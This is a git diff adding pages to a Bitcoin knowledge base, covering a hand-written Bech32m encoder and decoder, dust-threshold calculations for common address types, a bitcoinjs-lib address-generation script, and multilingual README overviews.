+  const expandedHrp = hrpExpand(hrp);
+  const values = expandedHrp.concat(data);
+  return polymod(values) === 0x2bc830a3; // 对于 Bech32, 有效校验和会返回1, 对于 Bech32m 需要验证不同的常量
+}
+```
+
+#### 数据转换
+
+使用5比特群（bits）的数据表示方式进行转换：
+
+```javascript
+function convertBits(data, fromBits, toBits, pad = true) {
+  let acc = 0;
+  let bits = 0;
+  const ret = [];
+  const maxv = (1 << toBits) - 1;
+  for (let i = 0; i < data.length; ++i) {
+    let value = data[i];
+    if (value < 0 || value >> fromBits !== 0) {
+      return null;
+    }
+    acc = (acc << fromBits) | value;
+    bits += fromBits;
+    while (bits >= toBits) {
+      bits -= toBits;
+      ret.push((acc >> bits) & maxv);
+    }
+  }
+  if (pad) {
+    if (bits > 0) {
+      ret.push((acc << (toBits - bits)) & maxv);
+    }
+  } else if (bits >= fromBits || (acc << (toBits - bits)) & maxv) {
+    return null;
+  }
+  return ret;
+}
+```
+
+### 2. 编码和解码实现
+
+接下来，使用上述基础组件实现编码和解码函数：
+
+#### 编码函数
+
+```javascript
+function encodeBech32m(hrp, data) {
+  const combined = data.concat(createChecksum(hrp, data));
+  let result = hrp + '1';
+  for (let datum of combined) {
+    result += valueToChar(datum);
+  }
+  return result;
+}
+```
+
+#### 解码函数
+
+```javascript
+function decodeBech32m(bech32mStr) {
+  const pos = bech32mStr.lastIndexOf('1');
+  const hrp = bech32mStr.slice(0, pos);
+  const data = [];
+  for (let i = pos + 1; i < bech32mStr.length; ++i) {
+    data.push(charToValue(bech32mStr[i]));
+  }
+  if (!verifyChecksum(hrp, data)) {
+    throw new Error('Invalid checksum');
+  }
+  return { hrp, data: data.slice(0, data.length - 6) };
+}
+```
+
+### 3. 示例使用
+
+```javascript
+const hrp = 'bc';
+const data = [15, 2, 20, 3, 5, 18]; // 随机示例数据
+const encoded = encodeBech32m(hrp, data);
+console.log('Encoded:', encoded);
+
+const decoded = decodeBech32m(encoded);
+console.log('Decoded:', decoded);
+```
+
+这种方式将手动实现 `Bech32m` 编解码过程，展示了如何从基本原理开始构建此功能。
+
+## 在BTC中的应用
+
+#### SegWit 地址支持
+
+- **SegWit v0 地址**：使用 `Bech32` 编码，这些地址以 `bc1q` 开头。
+- **SegWit v1+ 地址（包括 Taproot）**：使用 `Bech32m` 编码，这些地址以 `bc1p` 开头。
+
+#### 优点
+
+1. **更低的交易费用**：SegWit 地址允许比特币交易以更低的费用进行，因为它们更有效地利用区块空间。
+2. **增强的错误检测能力**：`Bech32m` 改进了校验和算法，提供了更强的错误检测能力，减少了地址输入错误的风险。
+3. **更好的用户体验**：地址全小写，易于手工抄写和阅读，减少了错误输入的机会。
+
+#### Taproot 与 `Bech32m`
+
+Taproot 是比特币的一个重要升级，它引入了 Schnorr 签名和 Merklized Abstract Syntax Trees (MAST)，增强了隐私、扩展性和效率。`Bech32m` 是支持 Taproot 地址的推荐编码方式，因为 Taproot 主要使用 SegWit v1。这种新的地址格式使得利用 Taproot 所提供的所有优势变得更加高效和安全。
+
+`Bech32m` 格式的引入是比特币协议持续进化的一部分，它不仅提高了地址的错误校验能力，还通过支持如 Taproot 这样的先进特性，推动了整个网络向前发展。对于用户和开发者而言，了解并适应这种新的地址格式是非常重要的，它将帮助他们最大化比特币的潜力。
diff --git a/BTC/Basic/tools/dust.md b/BTC/Basic/tools/dust.md
new file mode 100644
index 000000000..b9cda55ea
--- /dev/null
+++ b/BTC/Basic/tools/dust.md
@@ -0,0 +1,216 @@
+在比特币网络中，“dust” 或 “尘埃交易”指的是非常小的比特币金额，其大小甚至不足以支付发送这笔金额所需的交易费。因为每笔比特币交易都需要支付矿工费以保证交易被网络确认，如果交易中的金额太小，不足以覆盖这笔费用，那么这笔金额实际上就变得无法使用。
+
+# Dust 定义
+
+参考bitcoin中的[定义](https://github.com/bitcoin/bitcoin/blob/160d23677ad799cf9b493eaa923b2ac080c3fb8e/src/policy/policy.cpp#L26-L63)
+
+> "Dust" is defined in terms of dustRelayFee,  
+>  which has units satoshis-per-kilobyte.  
+>  If you'd pay more in fees than the value of the output  
+>  to spend something, then we consider it dust.  
+>  A typical spendable non-segwit txout is 34 bytes big, and will  
+>  need a CTxIn of at least 148 bytes to spend:  
+>  so dust is a spendable txout less than  
+>  182*dustRelayFee/1000 (in satoshis).  
+>  546 satoshis at the default rate of 3000 sat/kvB.  
+>  A typical spendable segwit P2WPKH txout is 31 bytes big, and will  
+>  need a CTxIn of at least 67 bytes to spend:  
+>  so dust is a spendable txout less than  
+>  98*dustRelayFee/1000 (in satoshis).  
+>  294 satoshis at the default rate of 3000 sat/kvB
+
+# 交易结构
+
+![transaction](./images/transaction.png)
+
+# 常用地址的计算
+
+## P2PKH - 546
+
+### Output
+
+```js
+Size = Amout + ScriptPubKey Size + ScriptPubKey = 8 + 1 + 25 = 34
+```
+
+#### ScriptPubKey
+
+```js
+// 模版 共25字节
+OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
+
+OP_DUP // 复制栈顶的元素
+OP_HASH160 // 弹出栈顶元素，计算其SHA-256散列，然后计算RIPEMD-160散列
+OP_PUSHBYTES_20 // 推送20字节到栈顶
+18e1fad25b2983d5dbb2e2b96e3ce756a69b3bc2 // 公钥哈希
+OP_EQUALVERIFY // 比较栈顶元素
+OP_CHECKSIG // 验证数字签名
+```
+
+### Input
+
+```js
+Size = TXID + VOUT + ScriptSig Size + ScriptSig + Sequence = 32 + 4 + 1 + 107 + 4 = 148
+```
+
+#### ScriptSig
+
+```js
+// 模版 共107字节
+<Singature> <Public Key>
+
+OP_PUSHBYTES_72 // 推送72字节到栈顶
+3045022100c233c3a8a510e03ad18b0a24694ef00c78101bfd5ac075b8c1037952ce26e91e02205aa5f8f88f29bb4ad5808ebc12abfd26bd791256f367b04c6d955f01f28a772401 // 签名数据
+OP_PUSHBYTES_33 // 推送33字节到栈顶
+03480b6822120e9936b43859d84c380583c3d0292409b21453ae962815090f8117 // 压缩公钥
+```
+
+### DUST
+
+```js
+dust = (input + output) * feeRate = (34 + 148) * 3 = 546
+```
+
+## P2SH-P2PKH - 540 1%⬇️
+
+### Output
+
+```js
+Size = Amout + ScriptPubKey Size + ScriptPubKey = 8 + 1 + 23 = 32
+```
+
+#### ScriptPubKey
+
+```js
+// 模版 共23字节
+OP_HASH160 <scriptHash> OP_EQUAL
+其中
+scriptHash = hash160(OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG)
+
+OP_HASH160 // 弹出栈顶元素，计算其SHA-256散列，然后计算RIPEMD-160散列
+OP_PUSHBYTES_20 // 推送20字节到栈顶
+18e1fad25b2983d5dbb2e2b96e3ce756a69b3bc2 // 脚本哈希
+OP_EQUAL // 比较栈顶两个元素相等
+```
+
+### Input
+
+```js
+Size = TXID + VOUT + ScriptSig Size + ScriptSig + Sequenc = 32 + 4 + 1 + 107 + 4 = 148
+```
+
+#### ScriptSig
+
+```js
+// 模版 共107字节
+<Singature> <Public Key> <redeemScript>
+
+OP_PUSHBYTES_72 // 推送72字节到栈顶
+3045022100c233c3a8a510e03ad18b0a24694ef00c78101bfd5ac075b8c1037952ce26e91e02205aa5f8f88f29bb4ad5808ebc12abfd26bd791256f367b04c6d955f01f28a772401 // 签名数据
+OP_PUSHBYTES_33 // 推送33字节到栈顶
+03480b6822120e9936b43859d84c380583c3d0292409b21453ae962815090f8117 // 压缩公钥
+```
+
+### DUST
+
+```js
+dust = (input + output) * feeRate = (32 + 148) * 3 = 540
+```
+
+## P2WPKH - 294 46%⬇️
+
+### Output
+
+```js
+Size = Amout + ScriptPubKey Size + ScriptPubKey = 8 + 1 + 22 = 31
+```
+
+#### ScriptPubKey
+
+```js
+// 模版 共22字节
+OP_0 <pubKeyHash>
+
+OP_0  // 表示版本号，对于P2WPKH是0
+OP_PUSHBYTES_20 // 推送20字节到栈顶
+18e1fad25b2983d5dbb2e2b96e3ce756a69b3bc2 // 公钥哈希
+```
+
+### Input
+
+```js
+Size = TXID + VOUT + Sequence + Witness/4 = 32 + 4 + 4 + 108/4 = 67
+```
+
+#### ScriptSig
+
+```
+// 模版 共107字节
+<Singature> <Public Key>
+
+02  // 见证数据的数量
+48  // 第一个见证数据的长度72字节
+3045022100a5eec95c65d2dd679e8fdcc10668d5d51446f24d1557859cb543e570201257c6022011df04f803a08c97de213ddf211ad193045ff25e59857324a28656de1961351c01  // 签名数据
+21  // 第二个见证数据的长度33字节
+0295f97f41d0d523bddf39e77e16cc0dda2e56b9bd9fdea10133656635b2c28a39  // 压缩公钥
+```
+
+### DUST
+
+```js
+dust = (input + output) * feeRate = (31 + 67) * 3 = 294
+```
+
+## P2TR(key path) - 300 26.7%⬇️
+
+### Output
+
+```js
+Size = Amout + ScriptPubKey Size + ScriptPubKey = 8 + 1 + 34 = 43
+```
+
+#### ScriptPubKey
+
+```js
+// 模版 共22字节
+OP_1 <x-only-pubkey>
+
+OP_1 // 表示版本号，对于P2TR是1
+OP_PUSHBYTES_32 // 推送32字节到栈顶
+2c3ee7cdb92394e32e82ec5bc8860c8888df6a9910537e90c75079726a2a8469 // tweaked-public-key
+```
+
+### Input
+
+```js
+Size = TXID + VOUT + Sequence + Witness/4 = 32 + 4 + 4 + 67/4 = 57
+```
+
+#### ScriptSig
+
+```js
+// 模版 共67字节
+[signature] [script] [control block]
+
+01  // Witness 元素的个数
+40  // schnorr签名长度
+743bbb3df4e95df5e70c2a3e72dd9d05933a018ad1bbd4b700841824ed18bebbc54d1b4d03b252aaa5c373390c68ba119fdf70e0bab71694a4db0da3fe8fefcc  // schnorr签名
+00  // 签名类型
+```
+
+### DUST
+
+```js
+dust = (input + output) * feeRate = (43 + 57) * 3 = 300
+```
+
+# 主流库的实现
+
+## Bitcoin
+
+已经添加dust的计算[GetDustThreshold](https://github.com/bitcoin/bitcoin/blob/160d23677ad799cf9b493eaa923b2ac080c3fb8e/src/policy/policy.cpp#L26-L63)  
+同时在[IsStandardTx](https://github.com/bitcoin/bitcoin/blob/160d23677ad799cf9b493eaa923b2ac080c3fb8e/src/policy/policy.cpp#L70-L92)中会把包含小于dust的输出交易置为异常交易
+
+## Bitcoinjs
+
+Bitcoinjs 将会在7.0.0中添加[dustAmountFromOutputScript](https://github.com/bitcoinjs/bitcoinjs-lib/pull/2010)的计算，不过计算逻辑只会通过是否是Witness返回546或294
diff --git a/BTC/Basic/tools/images/transaction.png b/BTC/Basic/tools/images/transaction.png
new file mode 100644
index 000000000..f1f8d4a74
Binary files /dev/null and b/BTC/Basic/tools/images/transaction.png differ
diff --git a/BTC/Basic/wallet/README.md b/BTC/Basic/wallet/README.md
new file mode 100644
index 000000000..9a3ccb82d
--- /dev/null
+++ b/BTC/Basic/wallet/README.md
@@ -0,0 +1,38 @@
+# 比特币地址生成脚本
+这个项目包含一个常见的 JavaScript 脚本，用于生成不同类型的比特币地址，包括 Legacy、Nested Segwit、Native Segwit 和 Taproot 地址。它使用 bitcoinjs-lib 库和 ecpair 以及 tiny-secp256k1 模块来创建地址。
+
+# 功能
+生成四种类型的比特币地址：
+- Legacy (P2PKH)
+- Nested Segwit (P2SH-P2WPKH)
+- Native Segwit (P2WPKH)
+- Taproot (P2TR)
+
+# 环境设置
+安装 Node.js: 确保您的系统上安装了 Node.js。可以在 Node.js 官网下载并安装。
+
+安装依赖: 项目依赖于 bitcoinjs-lib、ecpair 和 tiny-secp256k1。可以通过运行以下命令来安装这些依赖项：
+
+```js
+npm install bitcoinjs-lib ecpair tiny-secp256k1
+```
+# 运行脚本
+在安装所有依赖后，您可以运行脚本来生成比特币地址。使用以下命令来运行脚本：
+
+```js
+node <脚本文件名>.js
+```
+替换 <脚本文件名> 为您的 JavaScript 文件名。
+
+# 输出
+脚本将在控制台中输出以下格式的地址：
+
+```js
+Legacy Address: 18RKdzEVDe6oCxrdeiipZGtKYWxTXmaxh3
+Nested Segwit Address: 385Q6vxTS5My1rZ7vs6jSonuQDB987o2p2
+Native Segwit Address: bc1qxwy6vyfedw67sdr754avqcgrnw9sfpzuqgde4d
+Taproot Address: bc1pvc3cpr6c2eejzylks2cg9vhanqepk3hmd0ssn8etzmf2r7y4q40q77ljsl
+```
+
+生成的地址仅用于演示和教育目的。在生产环境中使用时，请确保理解相关的安全风险。
+Taproot 地址的支持可能取决于 bitcoinjs-lib 的版本。
diff --git a/BTC/Basic/wallet/address.js b/BTC/Basic/wallet/address.js
new file mode 100644
index 000000000..284f5e437
--- /dev/null
+++ b/BTC/Basic/wallet/address.js
@@ -0,0 +1,45 @@
+import ecpair from 'ecpair';
+import * as tinysecp from 'tiny-secp256k1';
+import bitcoin from 'bitcoinjs-lib';
+
+const { ECPairFactory } = ecpair;
+const ECPair = ECPairFactory(tinysecp);
+bitcoin.initEccLib(tinysecp);
+
+function toXOnly(pubKey) {
+  return pubKey.length === 32 ? pubKey : pubKey.slice(1, 33);
+}
+
+function generateAddress(networkType, addressType) {
+  const network = bitcoin.networks[networkType];
+  // 生成Bitcoin私钥和地址
+  const keyPair = ECPair.makeRandom({ network });
+
+  let address;
+  switch (addressType) {
+    case 'legacy':
+      address = bitcoin.payments.p2pkh({ pubkey: keyPair.publicKey, network }).address;
+      break;
+    case 'nestedSegwit':
+      address = bitcoin.payments.p2sh({
+        redeem: bitcoin.payments.p2wpkh({ pubkey: keyPair.publicKey, network }),
+        network,
+      }).address;
+      break;
+    case 'nativeSegwit':
+      address = bitcoin.payments.p2wpkh({ pubkey: keyPair.publicKey, network }).address;
+      break;
+    case 'taproot':
+      const pubkey = toXOnly(keyPair.publicKey);
+      address = bitcoin.payments.p2tr({ pubkey, network }).address;
+      break;
+    default:
+      address = 'Invalid address type';
+  }
+  return address;
+}
+
+console.log('Legacy Address:', generateAddress('bitcoin', 'legacy'));
+console.log('Nested Segwit Address:', generateAddress('bitcoin', 'nestedSegwit'));
+console.log('Native Segwit Address:', generateAddress('bitcoin', 'nativeSegwit'));
+console.log('Taproot Address:', generateAddress('bitcoin', 'taproot'));
diff --git a/BTC/Basic/wallet/package.json b/BTC/Basic/wallet/package.json
new file mode 100644
index 000000000..bf4ec8502
--- /dev/null
+++ b/BTC/Basic/wallet/package.json
@@ -0,0 +1,17 @@
+{
+  "name": "btc-wallet",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "type": "module",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "bitcoinjs-lib": "^6.1.5",
+    "ecpair": "^2.1.0",
+    "tiny-secp256k1": "^2.2.3"
+  }
+}
diff --git a/BTC/README-EN.md b/BTC/README-EN.md
new file mode 100644
index 000000000..2ed70e88e
--- /dev/null
+++ b/BTC/README-EN.md
@@ -0,0 +1,125 @@
+# Bitcoin (BTC)
+
+This knowledge base aims to provide comprehensive information about Bitcoin (BTC) technology, covering basic functions, advanced applications, and various protocols and tools in the ecosystem. Whether you're a beginner or an experienced developer, this guide will help you better understand and use Bitcoin technology.
+
+## Introduction
+
+Bitcoin is the first decentralized digital currency based on blockchain technology, proposed by a person or team under the pseudonym "Satoshi Nakamoto" in 2008 and officially launched in 2009. It revolutionizes the traditional financial system by enabling trustless value transfer through cryptography and distributed networks. It serves as both a payment tool and investment vehicle, and is viewed as a social experiment redefining the boundaries of money and trust.
+
+Bitcoin combines cryptography, economics, and distributed systems, pioneering decentralized digital assets. Its value stems from technical reliability (censorship resistance, scarcity), social consensus (the "digital gold" narrative), and macro environment (fiat currency inflation, geopolitical conflicts). Despite facing scaling bottlenecks, energy controversies, and regulatory uncertainties, Bitcoin continues to drive financial system reform, becoming a core symbol of the blockchain revolution and redefining the future of money, trust, and value.
+
+## Core Technical Mechanisms
+
+-Blockchain and Decentralization 
+Transaction data is stored in a transparent distributed ledger (blockchain) maintained by global nodes without central control. Chain structure (blocks linked by hash values) and timestamp technology ensure data immutability.
+
+-Cryptography and Security
+Uses SHA-256 hash algorithm and asymmetric encryption (public key addresses and private key signatures) to ensure transaction ownership and security. Proof of Work (PoW): Miners compete with computing power to verify transactions and generate new blocks, exchanging energy consumption for network security while receiving new coins as rewards.
+
+-Deflationary Model
+Total supply capped at 21 million coins, with new coin issuance "halving" every four years, complete mining by 2140, scarcity comparable to gold.
+
+## Core Features and Innovations
+
+-Trustless
+No need for bank or government endorsement, code rules drive system operation, users independently control assets (private key equals ownership).
+
+-Censorship Resistance and Globalization 
+Transactions unrestricted by borders, node network resistant to blocking, particularly suitable for cross-border payments and inflation hedging (e.g., El Salvador adopting as legal tender).
+
+-Pseudonymity
+Users transact via encrypted addresses without direct identity binding, but on-chain records are publicly traceable, requiring mixing tools for enhanced privacy.
+
+-Irreversibility
+Transactions once confirmed on blockchain cannot be reversed, reducing fraud risk but requiring careful operation (e.g., mistaken transfers cannot be recovered).
+
+-High Volatility
+Market supply/demand, policy regulation and speculative sentiment cause dramatic price fluctuations, reaching $60,000 in 2021 and dropping to $16,000 in 2022.
+
+## Historical Evolution and Social Impact
+
+-Milestone Events
+
+2008 Whitepaper: Satoshi Nakamoto published "Bitcoin: A Peer-to-Peer Electronic Cash System", proposing decentralized currency vision.
+
+2010 First Physical Transaction: Programmer purchased 2 pizzas with 10,000 BTC (now worth hundreds of millions), initiating cryptocurrency practicality.
+
+2017 Fork and Scaling Controversy: Community disagreement led to Bitcoin fork into BTC (main chain) and BCH (Bitcoin Cash), exposing decentralized governance challenges.
+
+2021 Institutionalization: Tesla, MicroStrategy etc. included in balance sheets, Bitcoin futures ETF approved, promoting mainstream financial acceptance.
+
+-Application Scenario Expansion
+
+Payment Network: Lightning Network (Layer 2) enables small fast transactions, solving main chain low throughput (about 7 TPS) issue.
+
+Store of Value: Citizens in some countries (e.g., Argentina, Nigeria) use it as anti-inflation asset to hedge against fiat currency depreciation risk.
+
+Technical Derivative Ecosystem: Catalyzed innovations like smart contracts, DeFi (Decentralized Finance), NFTs, but Bitcoin itself remains focused on "digital gold" positioning.
+
+Through this knowledge base, you will learn Bitcoin's core functions, advanced features and ecosystem applications, helping you stay ahead in this rapidly developing field.
+
+## Task Status Legend:
+⬜ Not Started ⌛ In Progress ✅ Completed
+
+## 1. Basic Functions
+
+### 1.1 Payment Addresses
+Bitcoin address types and encoding methods:
+- **P2PKH** (Pay to Public Key Hash) ✅
+- **P2SH-P2PKH** (Pay to Script Hash - Pay to Public Key Hash) ✅
+- **P2WPKH** (Pay to Witness Public Key Hash) ✅
+- **P2TR** (Pay to Taproot) ✅
+- **Base58 Encoding** ✅
+- **Bech32 Encoding** ✅
+- **Bech32m Encoding** ✅
+
+### 1.2 Wallets
+Bitcoin wallet types and characteristics:
+- **Standard Wallets** ⌛
+- **Hierarchical Deterministic Wallets (HD Wallets)** ✅
+
+### 1.3 Transactions
+Bitcoin transaction knowledge:
+- **UTXO Analysis** ⌛
+- **Coinbase Transactions** ⬜
+- **Transaction Construction** ⌛
+- **Fee Estimation** ⌛
+- **Signature Algorithms** ✅
+
+### 1.4 Tools
+Common tools in Bitcoin ecosystem:
+- **Blockchain Explorers** ⌛
+- **Network Hashrate** ⬜
+- **API Services** ⬜
+- **Data Analysis Tools** ⬜
+
+## 2. Advanced Functions
+
+### 2.1 PSBT (Partially Signed Bitcoin Transactions)
+Introduction and usage of PSBT:
+- **PSBT Protocol Introduction** ✅
+- **Creating and Parsing PSBT** ✅
+- **PSBT V2** ⬜
+
+### 2.2 Taproot
+Introduction and advantages of Taproot technology:
+- **Schnorr Signatures** ✅
+- **MAST** (Merkelized Abstract Syntax Tree) ✅
+- **Privacy and Efficiency Improvements** ⬜
+- **Differences between Key Path and Script Path** ⬜
+
+### 2.3 Multisignature Addresses
+Usage and advantages of multisignature addresses:
+- **Multisignature Introduction** ✅
+- **OP_CHECKMULTISIG** ✅
+- **OP_CHECKMULTISIGVERIFY** ✅
+- **OP_CHECKSIGADD** ✅
+
+## 3. Ecosystem Applications
+- **BRC20 Protocol Introduction** ✅
+- **ARC20 Protocol Introduction** ✅
+- **Runes Protocol Introduction** ✅
+- **Lightning Network Introduction** ⌛
+- **Lightning Network Core Logic** ⌛
+- **OP_CAT** ✅
+- **Babylon | BTC Staking** ⬜
\ No newline at end of file
diff --git a/BTC/README-ES.md b/BTC/README-ES.md
new file mode 100644
index 000000000..ba7ab380c
--- /dev/null
+++ b/BTC/README-ES.md
@@ -0,0 +1,145 @@
+# Bitcoin (BTC)
+
+This repository aims to provide comprehensive information on Bitcoin (BTC) technology, covering its basic functions, advanced applications, and various protocols and tools in its ecosystem. Whether you are a beginner or an experienced developer, this guide will help you gain a deeper understanding and make efficient use of Bitcoin technology.
+
+## Introduction
+
+Bitcoin is the first decentralized digital currency based on blockchain technology, proposed by an individual or group using the pseudonym "Satoshi Nakamoto" in 2008 and officially launched in 2009. It disrupts traditional financial systems by enabling trustless value transfers through cryptography and a distributed network. It functions as a payment tool, an investment asset, and a social experiment that redefines the boundaries of money and trust.
+
+Bitcoin combines cryptography, economics, and distributed systems to pioneer decentralized digital assets. Its value stems from technical reliability (censorship resistance, scarcity), social consensus (the "digital gold" narrative), and macroeconomic conditions (fiat currency over-issuance, geopolitical conflicts). Despite challenges such as scalability bottlenecks, energy debates, and regulatory uncertainty, Bitcoin continues to drive financial innovation, becoming the core symbol of the blockchain revolution and redefining the future of money, trust, and value.
+
+
+##Core Technical Mechanisms
+
+-Blockchain and Decentralization
+Transaction data is stored on a transparent, distributed ledger (blockchain) maintained by a global network of nodes, with no central authority. A chain structure (blocks linked via hash values) and timestamping ensure data immutability.
+
+-Cryptography and Security
+Uses the SHA-256 hashing algorithm and asymmetric encryption (public addresses and private key signatures) to secure transaction ownership and integrity. Proof of Work (PoW): Miners compete computationally to validate transactions and create new blocks, consuming energy to safeguard the network while earning newly minted coins as rewards.
+
+-Deflationary Model
+Total supply capped at 21 million coins, with issuance halved every four years ("halving"), ending in 2140. Its scarcity mirrors that of gold.
+
+
+##Key Features and Innovations
+
+-Trustless System
+Operates without reliance on banks or governments, governed solely by code. Users fully control assets (ownership via private keys).
+
+-Censorship Resistance and Global Accessibility
+Borderless transactions on a resilient network, ideal for cross-border payments and inflation hedging (e.g., Bitcoin’s adoption as legal tender in El Salvador).
+
+-Pseudonymity
+Transactions use encrypted addresses, not tied to real-world identities, but on-chain records are publicly traceable. Privacy tools (e.g., coin mixers) enhance anonymity.
+
+-Irreversibility
+Confirmed transactions cannot be reversed, reducing fraud but requiring caution (e.g., accidental transfers are permanent).
+
+-High Volatility
+Prices fluctuate due to market demand, regulation, and speculation. Bitcoin peaked at 60,000 in 2021, then fell to16,000 in 2022.
+
+
+##Historical Evolution and Societal Impact
+
+-Milestones
+
+2008 Whitepaper: Satoshi Nakamoto published Bitcoin: A Peer-to-Peer Electronic Cash System, outlining a decentralized currency vision.
+
+2010 First Real-World Transaction: A programmer paid 10,000 BTC for two pizzas (worth billions today), marking Bitcoin’s practical adoption.
+
+2017 Fork and Scaling Debate: Community disputes split Bitcoin into BTC (main chain) and BCH (Bitcoin Cash), exposing governance challenges in decentralized systems.
+
+2021 Institutional Adoption: Companies like Tesla and MicroStrategy added Bitcoin to their balance sheets, and Bitcoin futures ETFs gained approval, boosting mainstream acceptance.
+
+-Expanding Use Cases
+
+Payment Network: The Lightning Network (Layer 2) enables fast microtransactions, addressing the main chain’s low throughput (~7 transactions/second).
+
+Store of Value: Used in hyperinflationary economies (e.g., Argentina, Nigeria) to hedge against fiat currency collapse.
+
+Ecosystem Innovation: Spurred advancements like smart contracts, DeFi (decentralized finance), and NFTs, though Bitcoin remains focused on its "digital gold" role.
+
+This knowledge repository will guide you through Bitcoin's basic functionalities, advanced features, and ecosystem applications, helping you stay at the forefront of this rapidly evolving field.
+
+## Task Status Legend
+
+⬜ Not Started ⌛ In Progress ✅ Completed
+
+## 1. Basic Features
+
+### 1.1 Payment Addresses
+
+Types of Bitcoin addresses and their encoding:
+
+- **P2PKH** (Pay to Public Key Hash) ✅
+- **P2SH-P2PKH** (Pay to Script Hash - Pay to Public Key Hash) ✅
+- **P2WPKH** (Pay to Witness Public Key Hash) ✅
+- **P2TR** (Pay to Taproot) ✅
+- **Base58 Encoding** ✅
+- **Bech32 Encoding** ✅
+- **Bech32m Encoding** ✅
+
+### 1.2 Wallets
+
+Types of Bitcoin wallets and their characteristics:
+
+- **Standard Wallets** ⌛
+- **HD Wallets (Hierarchical Deterministic Wallets)** ✅
+
+### 1.3 Transactions
+
+Key knowledge about Bitcoin transactions:
+
+- **UTXO Analysis** ⬜
+- **Coinbase Transactions** ⬜
+- **Transaction Construction** ⬜
+- **Fee Estimation** ⬜
+- **Signature Algorithms** ✅
+- **Transaction Acceleration** ⬜
+
+### 1.4 Tools
+
+Common tools in the Bitcoin ecosystem:
+
+- **Blockchain Explorers** ⌛
+- **Network Hash Rate Tools** ⬜
+- **API Services** ⬜
+- **Data Analysis Tools** ⬜
+
+## 2. Advanced Features
+
+### 2.1 PSBT (Partially Signed Bitcoin Transaction)
+
+Introduction and usage of PSBT:
+
+- **PSBT Protocol Introduction** ✅
+- **Creating and Parsing PSBT** ✅
+- **PSBT V2** ⬜
+
+### 2.2 Taproot
+
+Introduction to Taproot and its benefits:
+
+- **Schnorr Signatures** ✅
+- **MAST** (Merkelized Abstract Syntax Tree) ✅
+- **Privacy and Efficiency Improvements** ⬜
+- **Key Path vs. Script Path Differences** ⬜
+
+### 2.3 Multisig Addresses
+
+Usage and advantages of multisig addresses:
+
+- **Multisig Address Introduction** ✅
+- **OP_CHECKMULTISIG** ✅
+- **OP_CHECKMULTISIGVERIFY** ✅
+- **OP_CHECKSIGADD** ✅
+
+## 3. Ecosystem Applications
+
+- **BRC20 Protocol Overview** ✅
+- **ARC20 Protocol Overview** ✅
+- **Runes Protocol Overview** ✅
+- **Lightning Network Introduction** ⌛
+- **Core Logic of the Lightning Network** ⌛
+- **OP_CAT** ✅
+- **Babylon | BTC Staking** ⬜
diff --git a/BTC/README.md b/BTC/README.md
new file mode 100644
index 000000000..475079afa
--- /dev/null
+++ b/BTC/README.md
@@ -0,0 +1,127 @@
+# 比特币 (BTC)
+
+本知识库旨在提供有关比特币（BTC）技术的全面信息，涵盖基本功能、进阶应用以及生态系统中的各类协议和工具。无论您是初学者还是有经验的开发者，本指南都将帮助您更好地理解和使用比特币技术。
+
+## 简介
+
+比特币是首个基于区块链技术的去中心化数字货币，由化名“中本聪”的个人或团队于2008年提出，2009年正式运行。它颠覆传统金融体系，通过密码学与分布式网络实现无需信任第三方的价值转移，既是支付工具，也是投资标的，更被视为一场社会实验，重塑货币与信任的边界。
+
+比特币融合密码学、经济学与分布式系统，开创了去中心化数字资产的先河。其价值源于技术可靠性（抗审查、稀缺性）、社会共识（“数字黄金”叙事）及宏观环境（法币超发、地缘冲突）。尽管面临扩容瓶颈、能源争议与监管不确定性，比特币仍持续推动金融体系变革，成为区块链革命的核心象征，重新定义货币、信任与价值的未来形态。
+
+
+##核心技术机制
+
+-区块链与去中心化
+交易数据存储在公开透明的分布式账本（区块链）中，由全球节点共同维护，无中央机构控制。链式结构（区块通过哈希值串联）与时间戳技术确保数据不可篡改。
+
+-密码学与安全
+使用SHA-256哈希算法和非对称加密（公钥地址与私钥签名），保障交易所有权和安全性。工作量证明（PoW）：矿工通过算力竞争验证交易并生成新区块，消耗能源换取网络安全，同时新币作为奖励发行。
+
+-通缩模型
+总量上限2100万枚，每四年“减半”新币发行量，2140年全部挖完，稀缺性类比黄金。
+
+##核心特点与创新
+
+-去信任化
+无需银行或政府背书，代码规则驱动系统运行，用户自主掌控资产（私钥即所有权）。
+
+-抗审查与全球化
+交易不受国界限制，节点网络抗屏蔽，尤其适用于跨境支付与通胀国家避险（如萨尔瓦多定为法币）。
+
+-伪匿名性
+用户通过加密地址交易，不直接绑定身份，但链上记录公开可追溯，需借助混币器等工具增强隐私。
+
+-不可逆性
+交易一经区块链确认无法撤销，降低欺诈风险，但也要求用户谨慎操作（如误转账无法追回）。
+
+-高波动性
+市场供需、政策监管与投机情绪导致价格剧烈波动，2021年曾突破6万美元，2022年跌至1.6万美元。
+
+##历史演进与社会影响
+
+-里程碑事件
+
+2008年白皮书：中本聪发布《比特币：一种点对点的电子现金系统》，提出去中心化货币愿景。
+
+2010年首笔实物交易：程序员用1万BTC购买2个披萨（现价值数亿美元），开启加密货币实用化。
+
+2017年分叉与扩容争议：社区分歧导致比特币分叉为BTC（主链）与BCH（比特币现金），暴露去中心化治理难题。
+
+2021年机构化：特斯拉、MicroStrategy等公司纳入资产负债表，比特币期货ETF获批，推动主流金融接纳。
+
+-应用场景扩展
+
+支付网络：闪电网络（Layer 2）实现小额快速交易，解决主链吞吐量低（约7笔/秒）问题。
+
+价值存储：部分国家民众（如阿根廷、尼日利亚）将其作为抗通胀资产，对冲法币贬值风险。
+
+技术衍生生态：催生智能合约、DeFi（去中心化金融）、NFT等创新，但比特币自身仍聚焦“数字黄金”定位。
+通过本知识库，您将学习比特币的核心功能、进阶特性以及生态系统应用，助您在这一快速发展的领域中保持领先。
+
+## 任务状态图例：
+⬜ 未开始 ⌛ 进行中 ✅ 已完成
+
+## 1. 基本功能
+
+### 1.1 支付地址
+比特币地址类型及编码方式：
+- **P2PKH** (支付到公钥哈希) ✅
+- **P2SH-P2PKH** (支付到脚本哈希 - 支付到公钥哈希) ✅
+- **P2WPKH** (支付到见证公钥哈希) ✅
+- **P2TR** (支付到 Taproot) ✅
+- **Base58 编码** ✅
+- **Bech32 编码** ✅
+- **Bech32m 编码** ✅
+
+### 1.2 钱包
+比特币钱包类型及其特性：
+- **标准钱包** ⌛
+- **分层确定性钱包（HD 钱包）** ✅
+
+### 1.3 交易
+比特币交易的相关知识：
+- **UTXO解析** ⌛
